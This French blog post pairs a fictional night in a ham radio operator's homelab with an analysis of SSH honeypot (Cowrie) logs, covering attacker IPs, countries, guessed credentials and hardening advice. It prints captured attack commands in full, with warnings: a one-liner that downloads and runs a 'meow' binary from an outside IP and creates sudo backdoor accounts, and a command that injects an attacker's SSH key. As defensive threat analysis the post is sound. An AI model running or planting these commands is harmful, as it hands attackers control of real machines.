Chronique romancée d’une journée complète dans le homelab F4HXN
Lundi 1er juin 2026 — raconté par les machines elles-mêmes
Une nuit dans le homelab
La maison était plongée dans le silence. À cette heure tardive, les rues de Puget-Théniers étaient désertes et seuls quelques grillons troublaient la tranquillité de la nuit. Dans le bureau, pourtant, personne ne dormait vraiment.
Derrière la porte fermée, les serveurs du homelab poursuivaient leur activité incessante. Le plus ancien d’entre eux, Proxmox, observait son royaume numérique avec la sérénité d’un vieux capitaine surveillant sa flotte. Depuis des années, il hébergeait machines virtuelles et conteneurs, veillant à ce que chacun accomplisse sa mission sans faillir.
À minuit, comme chaque nuit, il donna discrètement le signal du début des sauvegardes.
00:00:01 [OK] vzdump --all --storage pbs --mode snapshot 00:00:03 [OK] LXC 121 · LXC 127 · LXC 155 · VM 106 → queued 00:01:22 [OK] transfert PBS @ 192.168.1.x · verified
Les disques se mirent à travailler avec méthode. Des milliers de lignes de code, des bases de données, des articles de blog, des cartes radioamateurs, des configurations soigneusement élaborées au fil des mois étaient copiés avec une précision absolue. Pour les serveurs, ces sauvegardes représentaient la mémoire de leur univers — le trésor qu’il fallait préserver coûte que coûte.
Alors que tout semblait se dérouler paisiblement, une présence étrangère apparut à la frontière du réseau. Cowrie, le gardien chargé de surveiller les accès SSH, fut le premier à la remarquer. Une nouvelle tentative d’intrusion venait de commencer. L’assaillant avançait avec assurance, essayant tour à tour des noms d’utilisateurs et des mots de passe mille fois utilisés ailleurs.
Cowrie le laissa approcher. Il lui ouvrit même une porte. Une fausse porte. Le pirate pénétra dans ce qu’il croyait être un serveur vulnérable — chaque mouvement enregistré, chaque commande notée, dans un décor soigneusement préparé.
{"eventid":"cowrie.login.failed", "username":"root", "password":"admin123"} {"eventid":"cowrie.session.connect", "src_ip":"X.X.X.X"} {"eventid":"cowrie.command.input", "input":"wget http://..."} {"eventid":"cowrie.session.closed"} → logged.
Lorsque l’intrus finit par repartir, convaincu d’avoir accompli sa mission, Cowrie referma doucement la porte derrière lui et ajouta une nouvelle ligne à sa collection de journaux. Une attaque de plus. Une attaque de moins.
Peu avant l’aube, les bandes radio commencèrent à s’animer. Les premiers spots DX arrivèrent depuis l’Europe du Nord, suivis rapidement par quelques signaux venus d’Asie. Le serveur Django-Radio se remit aussitôt au travail — pour lui, chaque spot représentait une histoire. Derrière chaque indicatif, un opérateur quelque part sur la planète, profitant des caprices de la propagation.
Au fil des heures, la carte du monde se couvrit de points lumineux. Des stations apparaissaient, disparaissaient, revenaient. Les données s’accumulaient, les statistiques se construisaient et les graphiques prenaient forme.
Quand Jean-Paul alluma son ordinateur, un frisson parcourut l’ensemble du homelab. Les tableaux de bord s’actualisèrent presque instantanément. Grafana déroula ses courbes avec élégance. Prometheus présenta ses métriques les plus récentes. Chacun voulait montrer qu’il avait parfaitement rempli sa mission pendant la nuit.
La journée s’écoula sans incident majeur. Quelques visiteurs consultèrent les sites web. Des radioamateurs parcoururent les articles techniques. Plusieurs connexions arrivèrent sur le cluster DX. En début de soirée, un script Python se comporta étrangement — Prometheus détecta l’anomalie, le watchdog intervint, l’équilibre revint presque aussitôt.
Lorsque la nuit retomba sur la vallée, les visiteurs quittèrent progressivement les sites web. Les processeurs ralentirent leur cadence. Les graphiques retrouvèrent leur calme. Les dernières stations radio disparurent lentement des écrans.
Proxmox contempla alors son domaine numérique. Une nouvelle journée venait de s’achever. Aucun service n’était tombé. Les sauvegardes étaient réussies. Les attaques avaient été contenues. Les données étaient en sécurité.
Dans l’obscurité du bureau, les voyants continuaient à clignoter doucement. Pour un observateur extérieur, ce n’étaient que quelques lumières vertes et bleues. Mais pour ceux qui auraient pu entendre les conversations silencieuses du homelab de F4HXN, c’était tout un monde qui poursuivait son existence, nuit après nuit, gardant précieusement les projets, les expériences radio et les milliers d’idées de son propriétaire pendant que celui-ci dormait paisiblement.
Ce que voit un pot de miel SSH en une nuit
Analyse des données captées par Cowrie sur une période de quelques heures : 2 357 événements, 95 adresses IP distinctes, 27 pays. Un regard concret sur les tactiques des attaquants automatisés qui frappent en permanence les serveurs exposés sur Internet.
J’exploite depuis quelque temps un pot de miel SSH (honeypot) basé sur Cowrie, un émulateur de shell qui simule un serveur Linux vulnérable. Toute connexion SSH reçue est enregistrée dans un fichier JSON : identifiants testés, commandes saisies, fichiers téléchargés. La machine n’a aucune valeur opérationnelle — c’est un leurre posé sur Internet uniquement pour observer.
Ce qui suit est l’analyse du rapport généré automatiquement à partir des logs du 1er juin 2026 à 08h52. Les résultats sont édifiants sur l’état de la menace permanente que subissent les serveurs Linux accessibles en SSH.
Vue d’ensemble en chiffres
Ces chiffres couvrent une durée relativement courte. Extrapolés sur 24 heures, ils représentent un flux constant de dizaines de milliers d’événements par jour — et ce, pour un serveur dont l’adresse n’est pas publicisée. Les scanners opèrent sur des plages IP entières, sans discrimination.
Origine géographique des attaques
Les connexions proviennent de 27 pays différents. Le classement par nombre d’événements révèle une concentration sur quelques grandes origines :
| Pays | Événements | Part |
|---|---|---|
| États-Unis | 442 | |
| Pologne | 420 | |
| Vietnam | 374 | |
| Chine | 300 | |
| Brésil | 92 | |
| Allemagne | 71 | |
| Singapour | 48 | |
| Russie | 46 | |
| Hong Kong | 46 | |
| Arménie | 34 | |
| + 17 autres pays (Indonésie, Pays-Bas, Taiwan, Égypte, Afrique du Sud, Suède, Autriche, Pakistan, France, Tanzanie, Mexique, Lettonie, Bangladesh, Belgique, Nigeria, Royaume-Uni…) | ||
On notera la présence de la France (23 événements), dont une IP appartenant à OVH SAS à Roubaix — probablement un VPS compromis ou loué à des fins malveillantes, ce qui est malheureusement courant chez les hébergeurs à bas coût.
Les attaquants les plus actifs
Parmi les 95 IP, trois se distinguent nettement par leur volume d’activité.
87.251.64.176 — Warsaw, Pologne (420 événements)
Cette IP a ouvert 60 sessions SSH et tenté à chaque fois le même identifiant : root / admin. Un script extrêmement simple, sans variation, qui sonde des milliers de serveurs en espérant tomber sur un mot de passe par défaut non modifié. C’est l’archétype du scan automatisé de masse.
35.185.64.59 — États-Unis, Google Cloud (213 événements)
Cette adresse appartenant à Google LLC (infrastructure cloud relouée) est la plus sophistiquée capturée. En 13 sessions, elle a testé 9 combinaisons identifiant/mot de passe variées, puis exécuté 120 commandes une fois une session acceptée par le honeypot. L’objectif : déployer un malware nommé meow.
NE PAS exécuter ce code sur votre machine. Il s’agit d’un payload malveillant capturé par le honeypot : son exécution entraînerait la compromission complète du système, l’installation d’un malware, la création de comptes backdoor et la prise de contrôle à distance par un attaquant.
cd /tmp; ulimit -n 1020000; rm -rf meow*; wget http://35.237.91.38/meow; curl -O http://35.237.91.38/meow; chmod 777 meow; ./meow; wget http://35.237.91.38/meowarm64; curl -O http://35.237.91.38/meowarm64; chmod 777 meowarm64; ./meowarm64; echo admin:modzmodz | chpasswd; useradd -m -s /bin/bash admin1; echo admin1:modzmodz | chpasswd; usermod -aG sudo admin1; useradd -m -s /bin/bash user1; echo user1:modzmodz | chpasswd
Ce payload télécharge deux variantes d’un exécutable (meow pour x86 et meowarm64 pour ARM64) depuis un serveur tiers, les rend exécutables, les lance, puis crée des comptes utilisateurs avec des mots de passe connus (modzmodz) et les ajoute au groupe sudo. Une prise de contrôle complète en une seule ligne de commande.
116.99.175.167 — Hanoi, Vietnam / Viettel Group (192 événements)
Ce nœud a conduit 26 sessions avec une liste de 20 identifiants différents, incluant des combinaisons typiques d’équipements réseau (ubnt/ubnt, config/config, squid/squid) et de services (ftp/ftp, ftpuser/asteriskftp). Il s’agit manifestement d’un scanner de dictionnaire ciblant les équipements Ubiquiti, les routeurs et les serveurs de communication.
Deux familles d’attaque distinctes
L’analyse des commandes capturées permet d’identifier deux stratégies bien différenciées.
Famille 1 — Injection de clé SSH (persistance discrète)
Une grande partie des IP exécutent exactement deux commandes après connexion :
NE PAS exécuter ce code sur votre machine. Ces commandes, capturées dans le honeypot, injectent une clé SSH d’attaquant dans votre compte et créent une porte dérobée persistante permettant un accès illimité à distance sans mot de passe.
cd ~; chattr -ia .ssh; lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr" >> .ssh/authorized_keys && chmod -R go= ~/.ssh
La première commande retire les attributs d’immutabilité du répertoire .ssh (via chattr). La seconde efface l’éventuel contenu existant et injecte une clé publique SSH appartenant à l’attaquant, lui permettant de se reconnecter discrètement sans mot de passe. Le commentaire de la clé — mdrfckr — donne une idée de l’état d’esprit de son auteur.
Cette technique est particulièrement sournoise : elle ne crée pas de nouveau compte, ne modifie pas les logs de façon évidente, et permet une porte dérobée persistante réactivable à tout moment.
Famille 2 — Déploiement de malware (botnet de cryptominage ou DDoS)
Le cas de 35.185.64.59 représente une attaque plus évoluée. Après avoir testé plusieurs comptes, l’attaquant tente de gagner les droits root via sudo, puis déploie un binaire nommé meow disponible en deux architectures (x86 et ARM64). La création systématique de comptes backdoor (admin1, user1) avec le mot de passe modzmodz suggère un réseau de machines compromises géré de façon centralisée.
Les identifiants les plus tentés
Le classement des combinaisons login/mot de passe les plus utilisées confirme que les attaquants misent avant tout sur la négligence des administrateurs :
| Identifiant / Mot de passe | Tentatives | Catégorie |
|---|---|---|
root / admin | 61 | Défaut trivial |
345gs5662d34 / 345gs5662d34 | 36 | Token botnet |
root / 3245gs5662d34 | 19 | Token botnet |
admin / admin | 5 | Défaut trivial |
root / root | 4 | Défaut trivial |
root / ---fuck_you---- | 2 | Provocation |
admin / 123456 | 2 | Défaut trivial |
crafty / crafty | 2 | App spécifique |
solana / solana | 2 | Crypto |
raspberry / pi | 1 | Raspberry Pi |
L’identifiant 345gs5662d34 apparaît 36 fois. Ce n’est pas un mot de passe humain — c’est un marqueur de botnet : une chaîne utilisée par un réseau automatisé pour identifier les machines déjà compromises dans son infrastructure, ou tester si la cible répond à ses propres identifiants internes.
L’apparition de crafty / crafty et solana / solana est intéressante. Le premier cible le serveur de jeu Crafty Controller (gestionnaire Minecraft), le second vise des nœuds de la blockchain Solana. Les attaquants disposent de dictionnaires spécialisés par type d’application. Enfin, raspberry / pi rappelle que les Raspberry Pi exposés directement sur Internet avec leurs identifiants par défaut sont des cibles permanentes.
Ce que tout cela signifie concrètement
Le mot de passe ne suffit pas. La totalité des mots de passe les plus testés sont triviaux ou connus. Un mot de passe fort réduit considérablement le risque, mais l’authentification par clé SSH seule (PasswordAuthentication no dans sshd_config) l’élimine pour cette classe d’attaque.
Le port 22 est une cible prioritaire. Déplacer SSH sur un port non standard réduit le bruit de fond de façon spectaculaire. Ce n’est pas de la sécurité réelle, mais c’est une couche d’obscurcissement efficace contre les scanners génériques.
Fail2Ban et CrowdSec ont un rôle limité face aux botnets distribués. Lorsque chaque IP du botnet n’envoie que 2 ou 3 tentatives avant de passer à la suivante, les règles de blocage par seuil d’échecs sont inefficaces. La défense doit être en amont : clés uniquement, port alternatif, pare-feu en liste blanche si possible.
Les machines compromises sont partout. Des IP appartenant à Google Cloud, Microsoft Azure, OVH — des hébergeurs réputés — figurent parmi les attaquants. Les serveurs cloud et VPS bon marché sont régulièrement compromis et utilisés comme pivots.
À propos du honeypot Cowrie
Cowrie est un honeypot SSH/Telnet open source qui émule un système Linux interactif. Toutes les connexions sont acceptées, toutes les commandes sont enregistrées sans être réellement exécutées. Les fichiers téléchargés par les attaquants sont capturés pour analyse. Le tout est stocké en JSON structuré, facilement exploitable pour produire des rapports automatisés.
L’interface de supervision utilisée ici est un script Python personnel qui lit cowrie.json, effectue la géolocalisation des IP via ip-api.com avec cache local, et génère un rapport HTML autonome actualisé toutes les 60 secondes.
